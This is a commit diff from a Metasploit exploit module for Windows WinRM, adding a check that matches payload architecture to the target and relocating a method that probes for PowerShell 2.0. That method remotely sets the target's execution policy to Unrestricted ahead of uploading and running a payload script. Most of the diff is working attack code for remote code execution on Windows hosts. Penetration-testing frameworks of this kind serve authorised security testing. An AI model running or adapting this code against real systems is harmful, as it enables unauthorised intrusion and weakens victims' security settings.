Skip to content

Commit 7c141e1

Browse files
David MaloneyDavid Maloney
authored andcommitted
Hopefully final touches
Some smftidy cleanup, and added a method to check that the payload is the correct arch when using the powershell method
1 parent 25a6e98 commit 7c141e1

File tree

1 file changed

+79
-47
lines changed

1 file changed

+79
-47
lines changed

modules/exploits/windows/winrm/winrm_script_exec.rb

Lines changed: 79 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize(info = {})
2929
delivery: Powershell 2.0 and VBS CmdStager.
3030
3131
The module will check if Powershell 2.0 is available, and if so uses
32-
that method. Otherwise it falls back to the VBS Cmdstager which is
32+
that method. Otherwise it falls back to the VBS Cmdstager which is
3333
less stealthy.
3434
3535
IMPORTANT: If targeting an x64 system with the Powershell method
@@ -78,57 +78,13 @@ def check
7878
return Msf::Exploit::CheckCode::Vulnerable
7979
end
8080

81-
def powershell2?
82-
if datastore['FORCE_VBS']
83-
print_status "User selected the FORCE_VBS option"
84-
return false
85-
end
86-
print_status "checking for Powershell 2.0"
87-
streams = winrm_run_cmd("powershell Get-Host")
88-
if streams == 401
89-
print_error "Login failed!"
90-
return false
91-
end
92-
unless streams.class == Hash
93-
print_error "Recieved error while running check"
94-
return false
95-
end
96-
if streams['stderr'].include? "not recognized"
97-
print_error "Powershell is not installed"
98-
return false
99-
end
100-
streams['stdout'].each_line do |line|
101-
next unless line.start_with? "Version"
102-
major_version = line.match(/\d(?=\.)/)[0]
103-
if major_version == 1
104-
print_error "The target is running an older version of powershell"
105-
return false
106-
end
107-
end
108-
109-
print_status "Attempting to set Execution Policy"
110-
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
111-
if streams == 401
112-
print_error "Login failed!"
113-
return false
114-
end
115-
unless streams.class == Hash
116-
print_error "Recieved error while running check"
117-
return false
118-
end
119-
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
120-
if streams['stdout'].include? 'Unrestricted'
121-
print_good "Set Execution Policy Successfully"
122-
return true
123-
end
124-
return false
125-
end
12681

12782
def exploit
12883
unless check == Msf::Exploit::CheckCode::Vulnerable
12984
return
13085
end
13186
if powershell2?
87+
return unless correct_payload_arch?
13288
path = upload_script
13389
return if path.nil?
13490
exec_script(path)
@@ -203,6 +159,82 @@ def temp_dir
203159
return streams['stdout'].chomp
204160
end
205161

206-
162+
def check_remote_arch
163+
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
164+
resp,c = send_request_ntlm(winrm_wql_msg(wql))
165+
#Default to x86 if we can't be sure
166+
return "x86" if resp.nil? or resp.code != 200
167+
resp_tbl = parse_wql_response(resp)
168+
addr_width = resp_tbl.rows.flatten[0]
169+
if addr_width == "64"
170+
return "x64"
171+
else
172+
return "x86"
173+
end
174+
end
175+
176+
def correct_payload_arch?
177+
target_arch = check_remote_arch
178+
case target_arch
179+
when "x64"
180+
unless datastore['PAYLOAD'].include? "x64"
181+
print_error "You selected an x86 payload for an x64 target!"
182+
return false
183+
end
184+
when "x86"
185+
if datastore['PAYLOAD'].include? "x64"
186+
print_error "you selected an x64 payload for an x86 target"
187+
return false
188+
end
189+
end
190+
return true
191+
end
192+
193+
194+
def powershell2?
195+
if datastore['FORCE_VBS']
196+
print_status "User selected the FORCE_VBS option"
197+
return false
198+
end
199+
print_status "checking for Powershell 2.0"
200+
streams = winrm_run_cmd("powershell Get-Host")
201+
if streams == 401
202+
print_error "Login failed!"
203+
return false
204+
end
205+
unless streams.class == Hash
206+
print_error "Recieved error while running check"
207+
return false
208+
end
209+
if streams['stderr'].include? "not recognized"
210+
print_error "Powershell is not installed"
211+
return false
212+
end
213+
streams['stdout'].each_line do |line|
214+
next unless line.start_with? "Version"
215+
major_version = line.match(/\d(?=\.)/)[0]
216+
if major_version == 1
217+
print_error "The target is running an older version of powershell"
218+
return false
219+
end
220+
end
221+
222+
print_status "Attempting to set Execution Policy"
223+
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
224+
if streams == 401
225+
print_error "Login failed!"
226+
return false
227+
end
228+
unless streams.class == Hash
229+
print_error "Recieved error while running check"
230+
return false
231+
end
232+
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
233+
if streams['stdout'].include? 'Unrestricted'
234+
print_good "Set Execution Policy Successfully"
235+
return true
236+
end
237+
return false
238+
end
207239

208240
end

0 commit comments

Comments
 (0)